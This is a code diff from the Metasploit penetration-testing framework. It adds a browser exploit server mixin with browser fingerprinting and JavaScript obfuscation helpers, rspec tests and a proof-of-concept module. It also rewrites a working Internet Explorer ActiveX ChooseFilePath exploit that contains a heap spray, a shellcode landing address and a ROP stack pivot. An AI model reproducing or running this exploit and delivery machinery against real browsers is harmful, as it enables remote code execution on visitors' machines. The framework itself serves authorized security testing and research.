# Generates a target-specific payload, should be called by the module
|
||||||
|
#
|
||||||
|
# @param cli [Socket] Socket for the browser
|
||||||
|
# @param browser_info [Hash] The target profile
|
||||||
|
# @return [String] The payload
|
||||||
|
#
|
||||||
|
def get_payload(cli, browser_info)
|
||||||
|
arch = browser_info[:arch]
|
||||||
|
platform = browser_info[:os_name]
|
||||||
|
|
||||||
|
# Fix names for consisntecy so our API can find the right one
|
||||||
|
# Originally defined in lib/msf/core/constants.rb
|
||||||
|
platform = platform.gsub(/^Mac OS X$/, 'OSX')
|
||||||
|
platform = platform.gsub(/^Microsoft Windows$/, 'Windows')
|
||||||
|
|
||||||
|
regenerate_payload(cli, platform, arch).encoded
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
|
@ -31,5 +31,13 @@ module Exploit::RopDb
|
||||||
return rop_payload
|
return rop_payload
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def rop_junk
|
||||||
|
rand_text_alpha(4).unpack("V")[0].to_i
|
||||||
|
end
|
||||||
|
|
||||||
|
def rop_nop
|
||||||
|
make_nops(4).unpack("V")[0].to_i
|
||||||
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
|
@ -39,13 +39,25 @@ class Detect
|
||||||
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Provides javascript functions to determine addon information.
|
# Provides javascript functions to determine IE addon information.
|
||||||
#
|
#
|
||||||
# getMsOfficeVersion(): Returns the version for Microsoft Office
|
# getMsOfficeVersion(): Returns the version for Microsoft Office
|
||||||
#
|
#
|
||||||
def self.addons(custom_js = '')
|
def self.ie_addons(custom_js = '')
|
||||||
js = custom_js
|
js = custom_js
|
||||||
js << ::File.read(::File.join(Msf::Config.data_directory, "js", "detect", "addons.js"))
|
js << ::File.read(::File.join(Msf::Config.data_directory, "js", "detect", "ie_addons.js"))
|
||||||
|
|
||||||
|
Rex::Exploitation::JSObfu.new(js)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Provides javascript functions that work for all browsers to determine addon information
|
||||||
|
#
|
||||||
|
# getJavaVersion(): Returns the Java version
|
||||||
|
#
|
||||||
|
def self.misc_addons(custom_js = '')
|
||||||
|
js = custom_js
|
||||||
|
js << ::File.read(::File.join(Msf::Config.data_directory, "js", "detect", "misc_addons.js"))
|
||||||
|
|
||||||
Rex::Exploitation::JSObfu.new(js)
|
Rex::Exploitation::JSObfu.new(js)
|
||||||
end
|
end
|
||||||
|
|
|
@ -11,10 +11,40 @@ module Js
|
||||||
#
|
#
|
||||||
class Network
|
class Network
|
||||||
|
|
||||||
def self.ajax_download
|
# @param [Hash] opts the options hash
|
||||||
|
# @option opts [Boolean] :obfuscate toggles js obfuscation. defaults to true.
|
||||||
|
# @option opts [Boolean] :inject_xhr_shim automatically stubs XHR to use ActiveXObject when needed.
|
||||||
|
# defaults to true.
|
||||||
|
# @return [String] javascript code to perform a synchronous ajax request to the remote
|
||||||
|
# and returns the response
|
||||||
|
def self.ajax_download(opts={})
|
||||||
|
should_obfuscate = opts.fetch(:obfuscate, true)
|
||||||
js = ::File.read(::File.join(Msf::Config.data_directory, "js", "network", "ajax_download.js"))
|
js = ::File.read(::File.join(Msf::Config.data_directory, "js", "network", "ajax_download.js"))
|
||||||
|
|
||||||
::Rex::Exploitation::ObfuscateJS.new(js,
|
if should_obfuscate
|
||||||
|
js = ::Rex::Exploitation::ObfuscateJS.new(js,
|
||||||
|
{
|
||||||
|
'Symbols' => {
|
||||||
|
'Variables' => %w{ xmlHttp oArg }
|
||||||
|
}
|
||||||
|
}).obfuscate
|
||||||
|
end
|
||||||
|
|
||||||
|
xhr_shim(opts) + js
|
||||||
|
end
|
||||||
|
|
||||||
|
# @param [Hash] opts the options hash
|
||||||
|
# @option opts [Boolean] :obfuscate toggles js obfuscation. defaults to true.
|
||||||
|
# @option opts [Boolean] :inject_xhr_shim automatically stubs XHR to use ActiveXObject when needed.
|
||||||
|
# defaults to true.
|
||||||
|
# @return [String] javascript code to perform a synchronous ajax request to the remote with
|
||||||
|
# the data specified
|
||||||
|
def self.ajax_post(opts={})
|
||||||
|
should_obfuscate = opts.fetch(:obfuscate, true)
|
||||||
|
js = ::File.read(::File.join(Msf::Config.data_directory, "js", "network", "ajax_post.js"))
|
||||||
|
|
||||||
|
if should_obfuscate
|
||||||
|
js = ::Rex::Exploitation::ObfuscateJS.new(js,
|
||||||
{
|
{
|
||||||
'Symbols' => {
|
'Symbols' => {
|
||||||
'Variables' => %w{ xmlHttp }
|
'Variables' => %w{ xmlHttp }
|
||||||
|
@ -22,6 +52,32 @@ class Network
|
||||||
}).obfuscate
|
}).obfuscate
|
||||||
end
|
end
|
||||||
|
|
||||||
|
xhr_shim(opts) + js
|
||||||
|
end
|
||||||
|
|
||||||
|
# @param [Hash] opts the options hash
|
||||||
|
# @option opts [Boolean] :obfuscate toggles js obfuscation. defaults to true.
|
||||||
|
# @option opts [Boolean] :inject_xhr_shim false causes this method to return ''. defaults to true.
|
||||||
|
# @return [String] javascript code that adds XMLHttpRequest to the global scope if it
|
||||||
|
# does not exist (e.g. on IE6, where you have to use the ActiveXObject constructor)
|
||||||
|
def self.xhr_shim(opts={})
|
||||||
|
return '' unless opts.fetch(:inject_xhr_shim, true)
|
||||||
|
|
||||||
|
should_obfuscate = opts.fetch(:obfuscate, true)
|
||||||
|
js = ::File.read(::File.join(Msf::Config.data_directory, "js", "network", "xhr_shim.js"))
|
||||||
|
|
||||||
|
if should_obfuscate
|
||||||
|
js = ::Rex::Exploitation::ObfuscateJS.new(js,
|
||||||
|
{
|
||||||
|
'Symbols' => {
|
||||||
|
'Variables' => %w{ activeObjs idx }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
).obfuscate
|
||||||
|
end
|
||||||
|
js
|
||||||
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -8,21 +8,7 @@ require 'msf/core'
|
||||||
class Metasploit3 < Msf::Exploit::Remote
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
Rank = NormalRanking
|
Rank = NormalRanking
|
||||||
|
|
||||||
include Msf::Exploit::Remote::HttpServer::HTML
|
include Msf::Exploit::Remote::BrowserExploitServer
|
||||||
include Msf::Exploit::Remote::BrowserAutopwn
|
|
||||||
include Msf::Exploit::RopDb
|
|
||||||
|
|
||||||
autopwn_info({
|
|
||||||
:ua_name => HttpClients::IE,
|
|
||||||
:ua_minver => "6.0",
|
|
||||||
:ua_maxver => "8.0",
|
|
||||||
:javascript => true,
|
|
||||||
:os_name => OperatingSystems::WINDOWS,
|
|
||||||
:rank => Rank,
|
|
||||||
:classid => "{09F68A41-2FBE-11D3-8C9D-0008C7D901B6}",
|
|
||||||
:method => "ChooseFilePath",
|
|
||||||
})
|
|
||||||
|
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
|
@ -56,37 +42,61 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'InitialAutoRunScript' => 'migrate -f'
|
'InitialAutoRunScript' => 'migrate -f'
|
||||||
},
|
},
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
|
'BrowserRequirements' =>
|
||||||
|
{
|
||||||
|
:source => /script|headers/i,
|
||||||
|
:clsid => "{09F68A41-2FBE-11D3-8C9D-0008C7D901B6}",
|
||||||
|
:method => "ChooseFilePath",
|
||||||
|
:os_name => /win/i
|
||||||
|
},
|
||||||
'Targets' =>
|
'Targets' =>
|
||||||
[
|
[
|
||||||
[ 'Automatic', {} ],
|
[ 'Automatic', {} ],
|
||||||
[ 'IE 6 on Windows XP SP3',
|
[
|
||||||
|
'Windows XP with IE 6',
|
||||||
{
|
{
|
||||||
|
'os_flavor' => 'XP',
|
||||||
|
'ua_name' => 'MSIE',
|
||||||
|
'ua_ver' => '6.0',
|
||||||
'Rop' => false,
|
'Rop' => false,
|
||||||
'Offset' => '0x5F4',
|
'Offset' => '0x5F4',
|
||||||
'Ret' => 0x0c0c0c0c
|
'Ret' => 0x0c0c0c0c
|
||||||
}
|
}
|
||||||
],
|
],
|
||||||
[ 'IE 7 on Windows XP SP3',
|
[
|
||||||
|
'Windows XP with IE 7',
|
||||||
{
|
{
|
||||||
|
'os_flavor' => 'XP',
|
||||||
|
'ua_name' => 'MSIE',
|
||||||
|
'ua_ver' => '7.0',
|
||||||
'Rop' => false,
|
'Rop' => false,
|
||||||
'Offset' => '0x5F4',
|
'Offset' => '0x5F4',
|
||||||
'Ret' => 0x0c0c0c0c
|
'Ret' => 0x0c0c0c0c
|
||||||
}
|
}
|
||||||
],
|
],
|
||||||
[ 'IE 8 on Windows XP SP3',
|
[
|
||||||
|
'Windows XP with IE 8',
|
||||||
{
|
{
|
||||||
|
'os_flavor' => 'XP',
|
||||||
|
'ua_name' => 'MSIE',
|
||||||
|
'ua_ver' => '8.0',
|
||||||
'Rop' => true,
|
'Rop' => true,
|
||||||
'Offset' => '0x5f6',
|
'Offset' => '0x5f6',
|
||||||
'Ret' => 0x77c2282e # stackpivot # mov esp,ebp # pop ebp # retn # msvcrt.dll
|
'Ret' => 0x77c2282e # stackpivot # mov esp,ebp # pop ebp # retn # msvcrt.dll
|
||||||
}
|
}
|
||||||
],
|
],
|
||||||
[ 'IE 7 on Windows Vista',
|
[
|
||||||
|
'Windows Vista with IE 7',
|
||||||
{
|
{
|
||||||
|
'os_flavor' => 'Vista',
|
||||||
|
'ua_name' => 'MSIE',
|
||||||
|
'ua_ver' => '7.0',
|
||||||
'Rop' => false,
|
'Rop' => false,
|
||||||
'Offset' => '0x5F4',
|
'Offset' => '0x5F4',
|
||||||
'Ret' => 0x0c0c0c0c
|
'Ret' => 0x0c0c0c0c
|
||||||
}
|
}
|
||||||
]
|
]
|
||||||
|
|
||||||
],
|
],
|
||||||
'Privileged' => false,
|
'Privileged' => false,
|
||||||
'DisclosureDate' => "Apr 1 2012",
|
'DisclosureDate' => "Apr 1 2012",
|
||||||
|
@ -95,41 +105,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
|
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
|
||||||
], self.class)
|
], self.class
|
||||||
|
)
|
||||||
end
|
end
|
||||||
|
|
||||||
def get_target(agent)
|
|
||||||
#If the user is already specified by the user, we'll just use that
|
|
||||||
return target if target.name != 'Automatic'
|
|
||||||
|
|
||||||
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
|
def ie_heap_spray(p)
|
||||||
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
|
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(get_target.arch))
|
||||||
|
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(get_target.arch))
|
||||||
ie_name = "IE #{ie}"
|
|
||||||
|
|
||||||
case nt
|
|
||||||
when '5.1'
|
|
||||||
os_name = 'Windows XP SP3'
|
|
||||||
when '6.0'
|
|
||||||
os_name = 'Windows Vista'
|
|
||||||
when '6.1'
|
|
||||||
os_name = 'Windows 7'
|
|
||||||
end
|
|
||||||
|
|
||||||
targets.each do |t|
|
|
||||||
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
|
|
||||||
print_status("Target selected as: #{t.name}")
|
|
||||||
return t
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
|
|
||||||
def ie_heap_spray(my_target, p)
|
|
||||||
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
|
|
||||||
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
|
|
||||||
|
|
||||||
# Land the payload at 0x0c0c0c0c
|
# Land the payload at 0x0c0c0c0c
|
||||||
|
|
||||||
|
@ -138,7 +121,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
var code = unescape("#{js_code}");
|
var code = unescape("#{js_code}");
|
||||||
var nops = unescape("#{js_nops}");
|
var nops = unescape("#{js_nops}");
|
||||||
while (nops.length < 0x80000) nops += nops;
|
while (nops.length < 0x80000) nops += nops;
|
||||||
var offset = nops.substring(0, #{my_target['Offset']});
|
var offset = nops.substring(0, #{get_target['Offset']});
|
||||||
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
|
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
|
||||||
while (shellcode.length < 0x40000) shellcode += shellcode;
|
while (shellcode.length < 0x40000) shellcode += shellcode;
|
||||||
var block = shellcode.substring(0, (0x80000-6)/2);
|
var block = shellcode.substring(0, (0x80000-6)/2);
|
||||||
|
@ -158,49 +141,35 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
return js
|
return js
|
||||||
end
|
end
|
||||||
|
|
||||||
def load_exploit_html(my_target, cli)
|
def exploit_template(cli, target_info)
|
||||||
|
|
||||||
if my_target['Rop']
|
if get_target['Rop']
|
||||||
p = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp'})
|
p = generate_rop_payload('msvcrt', get_payload(cli, target_info), {'target'=>'xp'})
|
||||||
else
|
else
|
||||||
p = payload.encoded
|
p = get_payload(cli, target_info)
|
||||||
end
|
end
|
||||||
|
|
||||||
spray = ie_heap_spray(my_target, p)
|
spray = ie_heap_spray(p)
|
||||||
|
target_ret = Rex::Text.to_hex([get_target.ret].pack("V"))
|
||||||
|
|
||||||
html = %Q|
|
html_template = %Q|
|
||||||
<html>
|
<html>
|
||||||
<object id="pwnd" classid="clsid:09F68A41-2FBE-11D3-8C9D-0008C7D901B6"></object>
|
<object id="pwnd" classid="clsid:09F68A41-2FBE-11D3-8C9D-0008C7D901B6"></object>
|
||||||
<script>
|
<script>
|
||||||
#{spray}
|
<%=spray%>
|
||||||
|
|
||||||
junk='';
|
junk='';
|
||||||
for( counter=0; counter<=267; counter++) junk+=unescape("%0c");
|
for( counter=0; counter<=267; counter++) junk+=unescape("%0c");
|
||||||
pwnd.ChooseFilePath(junk + "#{Rex::Text.to_hex([my_target.ret].pack("V"))}");
|
pwnd.ChooseFilePath(junk + "<%=target_ret%>");
|
||||||
</script>
|
</script>
|
||||||
</html>
|
</html>
|
||||||
|
|
|
|
||||||
|
|
||||||
return html
|
return html_template, binding()
|
||||||
end
|
end
|
||||||
|
|
||||||
def on_request_uri(cli, request)
|
def on_request_exploit(cli, request, target_info)
|
||||||
agent = request.headers['User-Agent']
|
|
||||||
uri = request.uri
|
|
||||||
print_status("Requesting: #{uri}")
|
|
||||||
|
|
||||||
my_target = get_target(agent)
|
|
||||||
# Avoid the attack if no suitable target found
|
|
||||||
if my_target.nil?
|
|
||||||
print_error("Browser not supported, sending 404: #{agent}")
|
|
||||||
send_not_found(cli)
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
html = load_exploit_html(my_target, cli)
|
|
||||||
html = html.gsub(/^\t\t/, '')
|
|
||||||
print_status("Sending HTML...")
|
print_status("Sending HTML...")
|
||||||
send_response(cli, html, {'Content-Type'=>'text/html'})
|
send_exploit_html(cli, exploit_template(cli, target_info))
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -0,0 +1,174 @@
|
||||||
|
require 'spec_helper'
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/exploit/remote/browser_exploit_server'
|
||||||
|
|
||||||
|
describe Msf::Exploit::Remote::BrowserExploitServer do
|
||||||
|
|
||||||
|
subject(:server) do
|
||||||
|
mod = Msf::Exploit.allocate
|
||||||
|
mod.extend described_class
|
||||||
|
mod.send(:initialize, {})
|
||||||
|
mod
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:service_double) do
|
||||||
|
service = double("service")
|
||||||
|
service.stub(:server_name=)
|
||||||
|
service.stub(:add_resource)
|
||||||
|
|
||||||
|
service
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:profile_name) do
|
||||||
|
"random"
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:expected_os_name) do
|
||||||
|
"linux"
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:expected_user_agent) do
|
||||||
|
"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:expected_profile) do
|
||||||
|
{
|
||||||
|
:source=>"script",
|
||||||
|
:os_name=>"Microsoft Windows",
|
||||||
|
:os_flavor=>"XP",
|
||||||
|
:ua_name=>"MSIE",
|
||||||
|
:ua_ver=>"8.0",
|
||||||
|
:arch=>"x86",
|
||||||
|
:office=>"null",
|
||||||
|
:activex=>"true",
|
||||||
|
:proxy=>false,
|
||||||
|
:language=>"en-us",
|
||||||
|
:tried=>true
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
before do
|
||||||
|
Rex::ServiceManager.stub(:start => service_double)
|
||||||
|
end
|
||||||
|
|
||||||
|
before(:each) do
|
||||||
|
server.start_service
|
||||||
|
end
|
||||||
|
|
||||||
|
describe ".get_module_resource" do
|
||||||
|
it "should give me a URI to access the exploit page" do
|
||||||
|
ivar_exploit_page = server.instance_variable_get(:@exploit_receiver_page)
|
||||||
|
module_resource = server.get_module_resource
|
||||||
|
module_resource.should match(ivar_exploit_page)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe ".get_bad_requirements" do
|
||||||
|
it "should not contain any bad requirements" do
|
||||||
|
server.get_bad_requirements(expected_profile).should eq([])
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should have identify :os_name as a requirement not met" do
|
||||||
|
fake_profile = {
|
||||||
|
"rMWwSAwBHLoESpHbEGbsv" => {
|
||||||
|
:os_name => expected_os_name
|
||||||
|
}}
|
||||||
|
|
||||||
|
server.instance_variable_set(:@requirements, {:os_name => /win/i})
|
||||||
|
baddies = server.get_bad_requirements(fake_profile)
|
||||||
|
baddies.should eq([:os_name])
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe ".init_profile" do
|
||||||
|
it "should initialize an empety profile for tag 'random'" do
|
||||||
|
server.init_profile(profile_name)
|
||||||
|
ivar_target_profile = server.instance_variable_get(:@target_profiles)
|
||||||
|
ivar_target_profile.should eq({profile_name=>{}})
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe ".get_profile" do
|
||||||
|
it "should return nil when a profile isn't found" do
|
||||||
|
server.init_profile(profile_name)
|
||||||
|
p = server.get_profile("non_existent_profile")
|
||||||
|
p.should be_nil
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should return a profile if found" do
|
||||||
|
server.init_profile(profile_name)
|
||||||
|
p = server.get_profile(profile_name)
|
||||||
|
p.should eq({})
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe ".update_profile" do
|
||||||
|
it "should update my target profile's :os_name information" do
|
||||||
|
server.init_profile(profile_name)
|
||||||
|
profile = server.get_profile(profile_name)
|
||||||
|
server.update_profile(profile, :os_name, expected_os_name)
|
||||||
|
profile = server.get_profile(profile_name)
|
||||||
|
profile[:os_name].should eq(expected_os_name)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe ".get_detection_html" do
|
||||||
|
it "should return the detection code that the client will get" do
|
||||||
|
html = server.get_detection_html(expected_user_agent)
|
||||||
|
html.should_not eq('')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe ".on_request_exploit" do
|
||||||
|
it "should raise a NoMethodError if called" do
|
||||||
|
fake_cli = nil
|
||||||
|
fake_request = nil
|
||||||
|
fake_browser_info = nil
|
||||||
|
lambda {
|
||||||
|
server.on_request_exploit(fake_cli, fake_request, fake_browser_info)
|
||||||
|
}.should raise_error
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe ".get_target" do
|
||||||
|
it "should return a target" do
|
||||||
|
#
|
||||||
|
# Using Object for Msf::Module::Target
|
||||||
|
#
|
||||||
|
expected_object = Object
|
||||||
|
server.instance_variable_set(:@target, expected_object)
|
||||||
|
server.get_target.should eq(expected_object)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe ".try_set_target" do
|
||||||
|
it "should try to set a target based on requirements" do
|
||||||
|
#
|
||||||
|
# This testcase needs to be better somehow, but not sure how to actually create
|
||||||
|
# a Msf::Module::Target. All we're able to test here is making sure the method
|
||||||
|
# doesn't raise anything by exercising the code.
|
||||||
|
#
|
||||||
|
server.instance_variable_set(:@requirements, {:os_name => /win/i})
|
||||||
|
server.instance_variable_set(:@target, Object)
|
||||||
|
server.try_set_target(expected_profile)
|
||||||
|
server.get_target.should eq(Object)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe ".extract_requirements" do
|
||||||
|
it "should find all the recognizable keys" do
|
||||||
|
requirements = {:os_flavor=>"XP", :ua_name=>"MSIE", :ua_ver=>"8.0"}
|
||||||
|
matches = server.extract_requirements(requirements)
|
||||||
|
matches.should eq(requirements)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should make sure the keys are always symbols" do
|
||||||
|
requirements = {'os_flavor'=>"XP", 'ua_name'=>"MSIE"}
|
||||||
|
matches = server.extract_requirements(requirements)
|
||||||
|
matches.each do |k,v|
|
||||||
|
k.class.should eq(Symbol)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -5,16 +5,23 @@ describe Rex::Exploitation::Js::Detect do
|
||||||
context "Class methods" do
|
context "Class methods" do
|
||||||
|
|
||||||
context ".os" do
|
context ".os" do
|
||||||
it "should load the OS Detect javascript" do
|
it "should load the OS detection in Javascript" do
|
||||||
js = Rex::Exploitation::Js::Detect.os.to_s
|
js = Rex::Exploitation::Js::Detect.os.to_s
|
||||||
js.should =~ /window\.os_detect/
|
js.should =~ /window\.os_detect/
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
context ".addons" do
|
context ".ie_addons" do
|
||||||
it "should load the Addons Detect javascript" do
|
it "should load the IE Addons detection in Javascript" do
|
||||||
js = Rex::Exploitation::Js::Detect.addons.to_s
|
js = Rex::Exploitation::Js::Detect.ie_addons.to_s
|
||||||
js.should =~ /window\.addons_detect/
|
js.should =~ /window\.ie_addons_detect/
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context ".misc_addons" do
|
||||||
|
it "should load the misc Addons detection in Javascript" do
|
||||||
|
js = Rex::Exploitation::Js::Detect.misc_addons.to_s
|
||||||
|
js.should =~ /window\.misc_addons_detect/
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -11,6 +11,14 @@ describe Rex::Exploitation::Js::Network do
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
context ".ajax_post" do
|
||||||
|
it "should load the postInfo javascript" do
|
||||||
|
js = Rex::Exploitation::Js::Network.ajax_post
|
||||||
|
js.should =~ /function postInfo/
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
|
@ -0,0 +1,149 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http//metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = NormalRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::BrowserExploitServer
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => "IE Exploit for BrowserExploitServer Proof-of-Concept",
|
||||||
|
'Description' => %q{
|
||||||
|
Here's an example of building an exploit using the BrowserExploitServer.
|
||||||
|
This example requires the target to be exploit. If not, the mixin will
|
||||||
|
send a fake 404 as a way to avoid engaging the target. The example is
|
||||||
|
for Windows only.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => [ 'sinn3r' ],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'URL', 'http://metasploit.com' ]
|
||||||
|
],
|
||||||
|
'Platform' => 'win',
|
||||||
|
'BrowserRequirements' =>
|
||||||
|
{
|
||||||
|
:source => /script|headers/i,
|
||||||
|
#:clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}", # ShockwaveFlash.ShockwaveFlash.1
|
||||||
|
#:method => "LoadMovie",
|
||||||
|
:os_name => /win/i
|
||||||
|
},
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Automatic', {} ],
|
||||||
|
[
|
||||||
|
'Windows XP with IE 8',
|
||||||
|
{
|
||||||
|
'os_flavor' => 'XP',
|
||||||
|
'ua_name' => 'MSIE',
|
||||||
|
'ua_ver' => '8.0',
|
||||||
|
'Rop' => true,
|
||||||
|
'Offset' => 0x100
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[
|
||||||
|
'Windows 7 with IE 9',
|
||||||
|
{
|
||||||
|
'os_flavor' => '7',
|
||||||
|
'ua_name' => 'MSIE',
|
||||||
|
'ua_ver' => '9.0',
|
||||||
|
'Rop' => true,
|
||||||
|
'Offset' => 0x100
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[
|
||||||
|
'Windows 7 with IE 10',
|
||||||
|
{
|
||||||
|
'os_flavor' => '7',
|
||||||
|
'ua_name' => 'MSIE',
|
||||||
|
'ua_ver' => '10.0',
|
||||||
|
'Rop' => true,
|
||||||
|
'Offset' => 0x100
|
||||||
|
}
|
||||||
|
]
|
||||||
|
],
|
||||||
|
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'BadChars' => "\x00", #Our spray doesn't like null bytes
|
||||||
|
'StackAdjustment' => -3500
|
||||||
|
},
|
||||||
|
'Privileged' => false,
|
||||||
|
'DisclosureDate' => "Apr 1 2013",
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# This example shows how to use ERB and being able to use the arguments and local vars
|
||||||
|
#
|
||||||
|
def exploit_template1(target_info, txt)
|
||||||
|
txt2 = "I can use local vars!"
|
||||||
|
|
||||||
|
template = %Q|
|
||||||
|
<% msg = "This page is generated by an exploit" %>
|
||||||
|
<%=msg%><br>
|
||||||
|
<%=txt%><br>
|
||||||
|
<%=txt2%><br>
|
||||||
|
<p></p>
|
||||||
|
Data gathered from source: #{target_info[:source]}<br>
|
||||||
|
OS name: #{target_info[:os_name]}<br>
|
||||||
|
Flavor: #{target_info[:os_flavor]}<br>
|
||||||
|
UA name: #{target_info[:ua_name]}<br>
|
||||||
|
UA version: #{target_info[:ua_ver]}<br>
|
||||||
|
Java version: #{target_info[:java]}<br>
|
||||||
|
Office version: #{target_info[:office]}
|
||||||
|
|
|
||||||
|
|
||||||
|
return template, binding()
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# This example shows how to generate an ERB template without passing binding
|
||||||
|
#
|
||||||
|
def exploit_template2(target_info)
|
||||||
|
%Q|
|
||||||
|
<% msg = "This page is generated by an exploit" %>
|
||||||
|
<%=msg%><br>
|
||||||
|
<p></p>
|
||||||
|
Data gathered from source: #{target_info[:source]}<br>
|
||||||
|
OS name: #{target_info[:os_name]}<br>
|
||||||
|
Flavor: #{target_info[:os_flavor]}<br>
|
||||||
|
UA name: #{target_info[:ua_name]}<br>
|
||||||
|
UA version: #{target_info[:ua_ver]}<br>
|
||||||
|
Java version: #{target_info[:java]}<br>
|
||||||
|
Office version: #{target_info[:office]}
|
||||||
|
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_request_exploit(cli, request, target_info)
|
||||||
|
print_debug("Target selected: #{get_target.name}")
|
||||||
|
print_line(Rex::Text.to_hex_dump([rop_junk].pack("V*")))
|
||||||
|
print_line(Rex::Text.to_hex_dump([rop_nop].pack("V*")))
|
||||||
|
p = get_payload(cli, target_info)
|
||||||
|
vprint_line(Rex::Text.to_hex_dump(p))
|
||||||
|
print_status("Sending exploit HTML...")
|
||||||
|
|
||||||
|
# Randomly pick a template to test
|
||||||
|
if [true, false].sample
|
||||||
|
txt = "I can pass more args"
|
||||||
|
send_exploit_html(cli, exploit_template1(target_info, txt))
|
||||||
|
else
|
||||||
|
send_exploit_html(cli, exploit_template2(target_info))
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
super
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
=begin
|
||||||
|
Example of raw target_info:
|
||||||
|
{:source=>"script", :os_name=>"Microsoft Windows", :os_flavor=>"XP", :ua_name=>"MSIE", :ua_ver=>"8.0", :arch=>"x86", :office=>"null", :proxy=>false, :language=>"en-us", :tried=>true}
|
||||||
|
=end
|
Loading…
Reference in New Issue